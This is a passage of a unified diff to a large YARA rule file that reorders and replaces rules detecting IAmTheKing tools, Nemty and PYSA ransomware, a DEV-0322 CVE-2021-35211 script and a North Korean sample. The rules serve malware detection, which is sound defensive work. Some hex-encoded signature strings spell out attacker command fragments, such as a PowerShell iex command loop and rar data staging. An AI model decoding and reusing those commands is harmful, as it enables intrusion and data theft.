-		$s4 = { 7b 27 73 65 73 73 69 6f 6e 27 3a 5b 7b 27 6e 61 6d 65 27 3a 27 [1-10] 27 2c 27 69 64 27 3a [1-6] 2c 27 74 69 6d 65 27 3a [3-10] 7d 5d 2c 27 6a 70 67 27 3a }
-		$s5 = "PmMytex%d" fullword wide
-		$s6 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 4c 00 65 00 6e 00 67 00 74 00 68 00 3a 00 20 00 25 00 49 00 36 00 34 00 75 00 0d 00 0a }
-		$s7 = { 25 00 73 00 5c 00 25 00 73 00 2e 00 6c 00 6f 00 67 }
-		$s8 = { 25 00 73 00 5f 00 25 00 63 00 25 00 63 00 25 00 63 00 25 00 63 00 5f 00 25 00 64 }
-
-	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 5 of ($s*)
-}
 rule ARKBIRD_SOLG_MAL_Kingofhearts_Jul_2021_1 : FILE
 {
 	meta:
@@ -193392,68 +199397,34 @@ rule ARKBIRD_SOLG_MAL_Kingofhearts_Jul_2021_1 : FILE
 	condition:
 		uint16(0)==0x5a4d and filesize >35KB and 4 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_2 : FILE
-{
-	meta:
-		description = "Detect PowerPool malware (ALPC exploit variant)"
-		author = "Arkbird_SOLG"
-		id = "2988e9a8-da43-51fb-bd39-44aa1d161120"
-		date = "2021-07-09"
-		modified = "2021-07-12"
-		reference = "https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_2.yara#L1-L23"
-		license_url = "N/A"
-		logic_hash = "07d7a6444ddccbf4887de18659147354c9961092bb07ee0148392035a6d27086"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "035f97af0def906fbd8f7f15fb8107a9e852a69160669e7c0781888180cd46d5"
-		hash2 = "a72cdb6be7a967d3aa0021d2331b61af84455539e6f127720c9aac9b8392ec24"
-		hash3 = "df7b9d972ac83cc4a590f09d74cb242de3442cc9c1f19ed08f62bd6ebc9fc0fd"
-		tlp = "White"
-		adversary = "IAmTheKing"
-
-	strings:
-		$s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e }
-		$s2 = { 2f 00 3f 00 69 00 64 00 3d 00 25 00 73 00 26 00 69 00 6e 00 66 00 6f 00 3d 00 25 00 73 }
-		$s3 = { 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 20 00 61 00 20 00 2d 00 72 00 20 00 25 00 73 00 2e 00 72 00 61 00 72 00 20 00 2d 00 74 00 61 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 20 00 2d 00 74 00 62 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 }
-		$s4 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 24 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 54 00 61 00 62 00 6c 00 65 00 2e 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 }
-		$s5 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 }
-		$s6 = { 83 c4 04 53 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 0c 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 08 83 7c 24 20 00 68 40 01 00 00 74 61 33 ed 55 68 88 ?? 43 00 e8 ?? a4 00 00 b8 50 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 3b cd 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 3b cd 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 90 ?? 42 00 f3 a4 e8 [2] 00 00 83 c4 04 33 f6 89 74 24 20 eb 66 6a 00 68 88 ?? 43 00 e8 ?? a4 00 00 b8 f0 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 85 c9 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 85 c9 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 98 ?? 42 00 f3 a4 e8 ?? 95 00 00 c7 44 24 24 01 00 00 00 8b 74 24 24 83 c4 04 33 ed 68 d0 07 00 00 a3 d4 ?? 42 00 }
-
-	condition:
-		uint16(0)==0x5a4d and filesize >100KB and 5 of ($s*)
-}
-rule ARKBIRD_SOLG_MAL_Queenofclubs_Jul_2021_1 : FILE
+rule ARKBIRD_SOLG_Tool_Screencapture_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Detect QueenOfClubs malware"
+		description = "Detect Screen Capture utility"
 		author = "Arkbird_SOLG"
-		id = "d78df760-5753-528c-b03d-7bb91ec658c0"
+		id = "09e4295e-454a-519a-964e-c5295e603aef"
 		date = "2021-07-09"
 		modified = "2021-07-12"
 		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfClubs_Jul_2021_1.yara#L1-L21"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/Tool_ScreenCapture_Jul_2021_1.yara#L1-L19"
 		license_url = "N/A"
-		logic_hash = "c6fe9dd24098ef3c281d9e6727613499988c88b9d2011af77390e0ce358bebf4"
+		logic_hash = "dff6c722ec001f5e3b5c53b41f8d457ab69ae46316f5dc7bbf1d00eb3d1ed3c8"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		hash1 = "b0a1da4fc5526365df495094f65660d88487ce5e60192e5fb4075e815f9481d3"
+		hash1 = "f441e6239b592ac15538a8ba8903e5874283b066050a5a7e514ce33e84237f4e"
 		tlp = "White"
 		adversary = "IAmTheKing"
 
 	strings:
-		$s1 = { 66 00 6f 00 72 00 28 00 3b 00 3b 00 29 00 7b 00 24 00 53 00 3d 00 47 00 65 00 74 00 2d 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 20 00 22 00 25 00 73 00 22 00 3b 00 49 00 46 00 28 00 24 00 53 00 29 00 7b 00 22 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 69 00 65 00 78 00 20 00 24 00 53 00 20 00 32 00 3e 00 22 00 25 00 73 00 22 00 3b 00 24 00 74 00 3d 00 24 00 74 00 2b 00 27 00 20 00 27 00 3b 00 65 00 63 00 68 00 6f 00 20 00 24 00 74 00 20 00 3e 00 3e 00 22 00 25 00 73 00 22 00 3b 00 7d 00 73 00 6c 00 65 00 65 00 70 00 20 00 2d 00 6d 00 20 00 36 00 30 00 30 00 3b 00 7d }
-		$s2 = { 50 00 6f 00 77 00 65 00 72 00 53 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 2d 00 6e 00 6f 00 70 00 20 00 2d 00 63 00 20 00 25 00 73 }
-		$s3 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e }
-		$s4 = { 5c 00 7e 00 74 00 6d 00 70 00 5f 00 [6-20] ( 00 2e 00 6a 00 70 00 67 | 00 2e 00 70 00 73 00 31) }
-		$s5 = { c7 45 d8 ac 89 41 00 c7 45 dc 00 00 00 00 6a 01 68 00 00 40 04 8d 55 d8 52 68 c8 89 41 00 68 e0 89 41 00 8b 45 c0 83 c0 08 50 68 ec 89 41 00 8b 4d f4 51 ff 15 78 62 41 00 8b 55 c0 89 42 04 8b 45 c0 83 78 04 00 75 19 8b 4d f0 51 ff 15 74 62 41 00 8b 55 f4 52 ff 15 74 62 41 00 e9 14 ff ff ff 68 3c 04 00 00 e8 b7 70 00 00 83 c4 04 89 45 d0 8b 45 d0 89 45 e0 68 ec 01 00 00 e8 a1 70 00 00 83 c4 04 89 45 cc 8b 4d cc 89 4d d4 8b 55 c0 8b 32 b9 7b 00 00 00 8b 7d d4 f3 a5 6a 01 8b 45 c0 83 c0 1c 50 68 ec 01 00 00 8b 4d d4 51 68 c1 f5 09 00 8b 55 c0 83 c2 20 52 e8 04 ef ff ff }
-		$s6 = "http://bot.google.com" fullword ascii
-		$s7 = { 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 7c 00 25 00 73 00 00 00 25 00 73 00 00 00 00 00 25 00 73 }
+		$s1 = "@MyScreen.jpg" fullword wide
+		$s2 = "DISPLAY" fullword wide
+		$s3 = "_invoke_watson" fullword ascii
+		$s4 = "GdipSaveImageToStream" fullword ascii
+		$s5 = { 8b 57 04 89 4d e8 8d 4d e8 51 52 e8 16 0c 00 00 85 c0 74 03 89 47 08 8b 75 e8 81 fe 00 04 00 00 77 18 56 e8 ac f9 ff ff 83 c4 04 84 c0 74 0b 8b c6 e8 9e 15 00 00 8b f4 eb 35 83 c8 ff 2b c6 83 f8 08 72 15 8d 46 08 50 ff 15 f4 30 40 00 83 c4 04 85 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >35KB and 5 of ($s*)
+		uint16(0)==0x5a4d and ( filesize >8KB and filesize <60KB) and 4 of ($s*)
 }
 rule ARKBIRD_SOLG_MAL_Slothfulmedia_Jul_2021_1 : FILE
 {
@@ -193492,65 +199463,71 @@ rule ARKBIRD_SOLG_MAL_Slothfulmedia_Jul_2021_1 : FILE
 	condition:
 		uint16(0)==0x5a4d and filesize >20KB and 8 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_Keylogger_Jul_2021_1 : FILE
+rule ARKBIRD_SOLG_MAL_Queenofhearts_Jul_2021_1 : FILE
 {
 	meta:
-		description = "Detect a keylogger used by IAmTheKing group"
+		description = "Detect QueenOfHearts malware"
 		author = "Arkbird_SOLG"
-		id = "186dc5f5-5cc2-551a-a34c-e775085e7f89"
+		id = "763b35dd-6515-5ae8-a539-200a3647f074"
 		date = "2021-07-09"
 		modified = "2021-07-12"
-		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_Keylogger_Jul_2021_1.yara#L1-L22"
+		reference = "https://twitter.com/ShadowChasing1/status/1413111641504292864"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_QueenOfHearts_Jul_2021_1.yara#L1-L23"
 		license_url = "N/A"
-		logic_hash = "dfdf5892564b93cd1bf564cfe62e37d9477b5ae0bf20e0f9a44ee97b7e3a99f8"
+		logic_hash = "51cb8efddbc635e9a54f58a799e6edcf8eda8ca451ebe85cbce5f6cd20bfb083"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-		hash1 = "4c6995cb65ffeac1272d296eb3273b9fbca7f4d603312a5085b5c3be96154915"
-		hash2 = "79d363a163dfb0088545e66404e0213a9e18d5ee66713d7bc906ed97c46b5ca3"
+		hash1 = "44eb620879e0c3f80ff95fda5b1e301d471b59e47c4002132df646acfc7cc5ba"
+		hash2 = "a63600e5c28a4c1770a53d310ff017abd3cb9c20cb58a85d53df0c06bcae1864"
+		hash3 = "f110ebee387c2dfac08beb674a8efec20940bc562c5231e9bb4a90296476c29f"
 		tlp = "White"
 		adversary = "IAmTheKing"
 
 	strings:
-		$s1 = "sonme hting is wrong x" fullword ascii
-		$s2 = { 25 73 25 73 25 73 25 73 }
-		$s3 = { 0d 0a 5b 44 41 54 41 5d 3a 0d 0a 00 4c 6f 67 2e 74 78 74 }
-		$s4 = { 0d 0a 5b 54 49 4d 45 3a 5d 25 64 2f 25 64 2f 25 64 20 25 30 32 64 3a 25 30 32 64 3a 25 30 32 64 0d 0a 5b 54 49 54 4c 45 3a 5d }
-		$s5 = { 25 73 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 2d 25 30 32 64 }
-		$s6 = { 6a 00 56 ff 75 f8 8d 45 e4 50 ff 75 f0 ff 75 f4 ff 75 08 ff 15 c4 80 40 00 8b f0 3b f7 74 12 56 ff 15 70 80 40 00 85 c0 75 1b 56 ff 15 78 }
+		$s1 = "send request error:%d" fullword ascii
+		$s2 = "cookie size :%d" fullword wide
+		$s3 = "querycode error" fullword wide
+		$s4 = { 7b 27 73 65 73 73 69 6f 6e 27 3a 5b 7b 27 6e 61 6d 65 27 3a 27 [1-10] 27 2c 27 69 64 27 3a [1-6] 2c 27 74 69 6d 65 27 3a [3-10] 7d 5d 2c 27 6a 70 67 27 3a }
+		$s5 = "PmMytex%d" fullword wide
+		$s6 = { 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2d 00 4c 00 65 00 6e 00 67 00 74 00 68 00 3a 00 20 00 25 00 49 00 36 00 34 00 75 00 0d 00 0a }
+		$s7 = { 25 00 73 00 5c 00 25 00 73 00 2e 00 6c 00 6f 00 67 }
+		$s8 = { 25 00 73 00 5f 00 25 00 63 00 25 00 63 00 25 00 63 00 25 00 63 00 5f 00 25 00 64 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize >25KB and 5 of ($s*)
+		uint16(0)==0x5a4d and filesize >100KB and 5 of ($s*)
 }
-rule ARKBIRD_SOLG_Tool_Screencapture_Jul_2021_1 : FILE
+rule ARKBIRD_SOLG_MAL_Powerpool_Jul_2021_2 : FILE
 {
 	meta:
-		description = "Detect Screen Capture utility"
+		description = "Detect PowerPool malware (ALPC exploit variant)"
 		author = "Arkbird_SOLG"
-		id = "09e4295e-454a-519a-964e-c5295e603aef"
+		id = "2988e9a8-da43-51fb-bd39-44aa1d161120"
 		date = "2021-07-09"
 		modified = "2021-07-12"
-		reference = "https://securelist.com/iamtheking-and-the-slothfulmedia-malware-family/99000/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/Tool_ScreenCapture_Jul_2021_1.yara#L1-L19"
+		reference = "https://www.welivesecurity.com/2018/09/05/powerpool-malware-exploits-zero-day-vulnerability/"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-11/IAmTheKing/MAL_PowerPool_Jul_2021_2.yara#L1-L23"
 		license_url = "N/A"
-		logic_hash = "dff6c722ec001f5e3b5c53b41f8d457ab69ae46316f5dc7bbf1d00eb3d1ed3c8"
+		logic_hash = "07d7a6444ddccbf4887de18659147354c9961092bb07ee0148392035a6d27086"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-		hash1 = "f441e6239b592ac15538a8ba8903e5874283b066050a5a7e514ce33e84237f4e"
+		hash1 = "035f97af0def906fbd8f7f15fb8107a9e852a69160669e7c0781888180cd46d5"
+		hash2 = "a72cdb6be7a967d3aa0021d2331b61af84455539e6f127720c9aac9b8392ec24"
+		hash3 = "df7b9d972ac83cc4a590f09d74cb242de3442cc9c1f19ed08f62bd6ebc9fc0fd"
 		tlp = "White"
 		adversary = "IAmTheKing"
 
 	strings:
-		$s1 = "@MyScreen.jpg" fullword wide
-		$s2 = "DISPLAY" fullword wide
-		$s3 = "_invoke_watson" fullword ascii
-		$s4 = "GdipSaveImageToStream" fullword ascii
-		$s5 = { 8b 57 04 89 4d e8 8d 4d e8 51 52 e8 16 0c 00 00 85 c0 74 03 89 47 08 8b 75 e8 81 fe 00 04 00 00 77 18 56 e8 ac f9 ff ff 83 c4 04 84 c0 74 0b 8b c6 e8 9e 15 00 00 8b f4 eb 35 83 c8 ff 2b c6 83 f8 08 72 15 8d 46 08 50 ff 15 f4 30 40 00 83 c4 04 85 }
+		$s1 = { 5c 00 53 00 74 00 72 00 69 00 6e 00 67 00 46 00 69 00 6c 00 65 00 49 00 6e 00 66 00 6f 00 5c 00 25 00 30 00 34 00 78 00 25 00 30 00 34 00 78 00 5c 00 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e }
+		$s2 = { 2f 00 3f 00 69 00 64 00 3d 00 25 00 73 00 26 00 69 00 6e 00 66 00 6f 00 3d 00 25 00 73 }
+		$s3 = { 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 20 00 61 00 20 00 2d 00 72 00 20 00 25 00 73 00 2e 00 72 00 61 00 72 00 20 00 2d 00 74 00 61 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 20 00 2d 00 74 00 62 00 25 00 30 00 34 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 00 25 00 30 00 32 00 64 }
+		$s4 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 24 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 54 00 61 00 62 00 6c 00 65 00 2e 00 50 00 53 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 }
+		$s5 = { 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 3e 00 20 00 22 00 25 00 73 00 22 }
+		$s6 = { 83 c4 04 53 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 0c 56 68 [2] 42 00 ba c8 ?? 43 00 e8 ?? a9 ff ff 83 c4 08 83 7c 24 20 00 68 40 01 00 00 74 61 33 ed 55 68 88 ?? 43 00 e8 ?? a4 00 00 b8 50 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 3b cd 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 3b cd 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 90 ?? 42 00 f3 a4 e8 [2] 00 00 83 c4 04 33 f6 89 74 24 20 eb 66 6a 00 68 88 ?? 43 00 e8 ?? a4 00 00 b8 f0 ?? 42 00 83 c4 0c 8b d0 66 8b 08 83 c0 02 66 85 c9 75 f5 bf 88 ?? 43 00 2b c2 83 c7 fe 8d 64 24 00 66 8b 4f 02 83 c7 02 66 85 c9 75 f4 8b c8 c1 e9 02 8b f2 f3 a5 8b c8 83 e1 03 68 98 ?? 42 00 f3 a4 e8 ?? 95 00 00 c7 44 24 24 01 00 00 00 8b 74 24 24 83 c4 04 33 ed 68 d0 07 00 00 a3 d4 ?? 42 00 }
 
 	condition:
-		uint16(0)==0x5a4d and ( filesize >8KB and filesize <60KB) and 4 of ($s*)
+		uint16(0)==0x5a4d and filesize >100KB and 5 of ($s*)
 }
 rule ARKBIRD_SOLG_MAL_Jackofhearts_Jul_2021_1 : FILE
 {
@@ -193586,149 +199563,217 @@ rule ARKBIRD_SOLG_MAL_Jackofhearts_Jul_2021_1 : FILE
 	condition:
 		uint16(0)==0x5a4d and filesize >20KB and 7 of ($s*)
 }
-rule ARKBIRD_SOLG_UNK_DEV_0322_Jul_2021_1 : CVE_2021_35211 FILE
+rule ARKBIRD_SOLG_RAN_Nemty_June_2021_1 : FILE
 {
 	meta:
-		description = "Detect the script used by DEV-0322 for create a new user after exploit the CVE-2021-35211"
+		description = "Detect Nemty ransomware"
 		author = "Arkbird_SOLG"
-		id = "8d16eb7f-c137-5f23-8830-ce26dc6e4d52"
-		date = "2021-07-16"
-		modified = "2021-11-10"
-		reference = "https://www.cadosecurity.com/triage-analysis-of-serv-u-ftp-user-backdoor-deployed-by-cve-2021-35211/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-09/DEV_0322/UNK_DEV_0322_Jul_2021_1.yara#L1-L26"
+		id = "1c7994b8-7479-5679-91a5-e3ca4b2e7fde"
+		date = "2021-06-12"
+		modified = "2021-06-13"
+		reference = "Internal Research"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-12/Nemty/RAN_Nemty_June_2021_1.yara#L1-L19"
 		license_url = "N/A"
-		logic_hash = "7d7f012053bff6217f0fe9087acbeba13f83cb2c3dbe9a4fe8e7e0e4551edefd"
+		logic_hash = "25a9e82ae1e950e1c71d6dfa120efd1a2ba39cbf8e9c2cd4ba4e67ce7dabc45e"
 		score = 75
-		quality = 59
-		tags = "CVE-2021-35211, FILE"
-		hash1 = "fb101d9980ba2e22dceac7367c670b4894eaae9a8cef9de98ed85499a3b014ea"
-		hash2 = "134a570f480536d04a056da99e58a3c982aa36f5b314f48a01420b66b759d35d"
-		hash3 = "8785f1049eed4f837e634bf61468e6db921368b61ef5c8b4afa03f44465bd3e0"
+		quality = 75
+		tags = "FILE"
+		hash1 = "45e35c9b095871fbc9b85afff4e79dd36b7812b96a302e1ccc65ce7668667fe6"
+		hash2 = "511fee839098dfa28dd859ffd3ece5148be13bfb83baa807ed7cac2200103390"
+		hash3 = "74b7a1da50ce44b640d84422bb3f99e2f338cc5d5be9ef5f1ad03c8e947296c3"
 		tlp = "white"
-		adversary = "DEV-0322"
+		adversary = "RAAS"
 
 	strings:
-		$obj1 = { 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 27 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53 79 73 74 65 6d 4f 62 6a 65 63 74 27 29 }
-		$obj2 = { 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 57 53 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 }
-		$arg1 = { 2d 73 74 6f 70 65 6e 67 69 6e 65 }
-		$arg2 = { 2d 73 74 61 72 74 73 65 72 76 69 63 65 }
-		$s1 = { 3c 3c 2d 20 41 64 6d 69 6e 54 79 70 65 }
-		$s2 = { 43 55 73 65 72 50 61 73 73 77 6f 72 64 41 74 74 72 5c 72 5c 6e 50 61 73 73 77 6f 72 64 }
-		$s3 = { 3c 3c 2d 20 50 61 73 73 77 6f 72 64 43 68 61 6e 67 65 64 4f 6e 5c 72 5c 6e 43 52 68 69 6e 6f 55 69 6e 74 41 74 74 72 }
-		$s4 = { 3c 3c 2d 20 49 6e 63 6c 75 64 65 52 65 73 70 43 6f 64 65 73 49 6e 4d 73 67 46 69 6c 65 73 }
+		$s1 = { 83 f8 1a 0f 8d [2] 00 00 [0-1] 89 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [1-15] 00 00 00}
+		$s2 = { 5a 4c 49 42 00 00 00 00 00 00 01 ?? 78 01 54 8f [3] 40 [2] cf }
+		$s3 = { 4c 24 [1-2] 89 54 24 [1-2] 89 ?? 24 [12-25] 00 81 }
+		$s4 = { ff ff [0-1] 8d 05 [3] 00 [0-1] 89 04 24 [0-1] c7 44 24 ?? 02 00 00 00 e8 [2] ff ff e8 [2] ff ff [0-1] 8b 4c 24 }
 
 	condition:
-		filesize >1KB and filesize <15KB and all of ($obj*) and all of ($arg*) and 3 of ($s*)
+		uint16(0)==0x5a4d and filesize >500KB and all of ($s*)
 }
-rule ARKBIRD_SOLG_RAN_PYSA_Sept_2021_1 : FILE
+import "pe"
+
+rule ARKBIRD_SOLG_APT_MAL_NK_Rivts_Feb_2009_1 : FILE
 {
 	meta:
-		description = "Detect the PYSA ransomware"
+		description = "Detect Rivts malware used by NK APT"
 		author = "Arkbird_SOLG"
-		id = "fd939287-ec37-5021-9782-f0f86a9f0e4b"
-		date = "2021-09-23"
-		modified = "2021-11-10"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-09/PYSA/RAN_PYSA_Sept_2021_1.yara#L1-L20"
+		id = "71dacbd4-36bb-5a45-a288-31bfaef784dc"
+		date = "2020-06-17"
+		modified = "2020-06-18"
+		reference = "https://twitter.com/Arkbird_SOLG/status/1272674621381361672"
+		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-07/NK_Rivts_Feb_2009_1.yar#L3-L22"
 		license_url = "N/A"
-		logic_hash = "e16f2ae581b8627ccd4e8ecb56db52c992022473d006843ed19a69c8059ecb54"
+		logic_hash = "aab3e8067933cbaef2725b5db9e744df2e2be0a89aaf7ce85df79c5f45d72d8f"
 		score = 75
-		quality = 75
+		quality = 67
 		tags = "FILE"
-		hash1 = "7c774062bc55e2d0e869d5d69820aa6e3b759454dbc926475b4db6f7f2b6cb14"
-		hash2 = "7c774062bc55e2d0e869d5d69820aa6e3b759454dbc926475b4db6f7f2b6cb14"
-		hash3 = "44f1def68aef34687bfacf3668e56873f9d603fc6741d5da1209cc55bdc6f1f9"
-		tlp = "white"
-		adversary = "RAAS"
+		hash1 = "244885b47ec2157a8ea9278bec3ea1883f45d97b1fcb78d4fa875bef0f329a97"
 
 	strings:
-		$s1 = { 57 ff 15 38 a0 45 00 be [2] 45 00 33 ff 56 57 68 01 00 1f 00 ff 15 34 a0 45 00 85 c0 75 2b 56 57 57 ff 15 30 a0 45 00 57 8b f0 e8 44 00 00 00 6a 01 e8 3d 00 00 00 59 59 e8 3f ff ff ff 56 ff 15 2c a0 45 00 }
-		$s2 = { 51 a1 34 52 47 00 33 c5 89 45 fc 56 8d 45 f8 50 6a 02 6a 00 68 [2] 45 00 68 02 00 00 80 ff 15 0c a0 45 00 8b 15 bc 50 47 00 8b ca 8d 71 01 8a 01 41 84 c0 75 f9 2b ce 8b 35 08 a0 45 00 8d 41 01 50 52 6a 07 6a 00 68 [2] 45 00 ff 75 f8 ff d6 6a 05 68 [2] 45 00 6a 07 6a 00 68 [2] 45 00 ff 75 f8 ff d6 ff 75 f8 ff 15 10 a0 45 00 8b 4d fc 33 cd 5e e8 [2] 02 00 }
-		$s3 = { 57 8d 85 f8 fe ff ff bb 04 01 00 00 50 53 ff 15 48 a0 45 00 8d bd f8 fe ff ff 4f 8a 47 01 47 84 c0 75 f8 be [2] 45 00 8d 85 f4 fd ff ff 53 50 33 db a5 53 a5 66 a5 a4 ff 15 74 a0 45 00 8b cb 8a 84 0d f4 fd ff ff 88 84 0d f0 fc ff ff 41 84 c0 75 ed 8d 85 f0 fc ff ff 6a 5c 50 e8 [2] 02 00 59 59 85 c0 74 02 88 18 53 68 80 00 00 00 6a 02 53 53 68 00 00 00 40 8d 85 f8 fe ff ff 50 ff 15 1c a0 45 00 8b f8 83 ff ff 0f 84 a7 00 00 00 b9 78 50 47 00 8d 51 01 8a 01 41 84 c0 75 f9 2b ca 8d 95 f4 fd ff ff 8d 72 01 8a 02 42 84 c0 75 f9 2b d6 8d b5 f8 fe ff ff 8d 5e 01 8a 06 46 84 c0 75 f9 2b f3 83 c1 14 8d 04 56 03 c1 e8 [2] 02 00 8b f4 8d 85 f8 fe ff ff 50 8d 85 f0 fc ff ff 50 8d 85 f4 fd ff ff 50 50 68 78 50 47 00 56 ff 15 a0 a1 45 00 8b ce 83 c4 18 8d 51 01 8a 01 41 84 c0 75 f9 33 db 8d 85 ec fc ff ff 53 50 2b ca 51 56 57 ff 15 88 a0 45 00 57 ff 15 7c a0 45 00 53 53 53 8d 85 f8 fe ff ff 50 68 [2] 45 00 53 ff 15 94 a1 45 00 8d a5 e0 fc ff ff 5f 5e 5b 8b }
-		$s4 = { 51 a1 34 52 47 00 33 c5 89 45 fc 56 68 [2] 46 00 68 [2] 46 00 68 [2] 46 00 6a 11 e8 c6 fb ff ff 8b f0 83 c4 10 85 f6 74 12 ff 75 0c 8b ce ff 75 08 ff 15 a8 a1 45 00 ff d6 eb 14 6a 00 ff 75 0c ff 75 08 ff 15 4c a1 45 00 50 e8 d6 00 00 00 8b 4d fc 33 cd 5e e8 [2] fe ff 8b e5 }
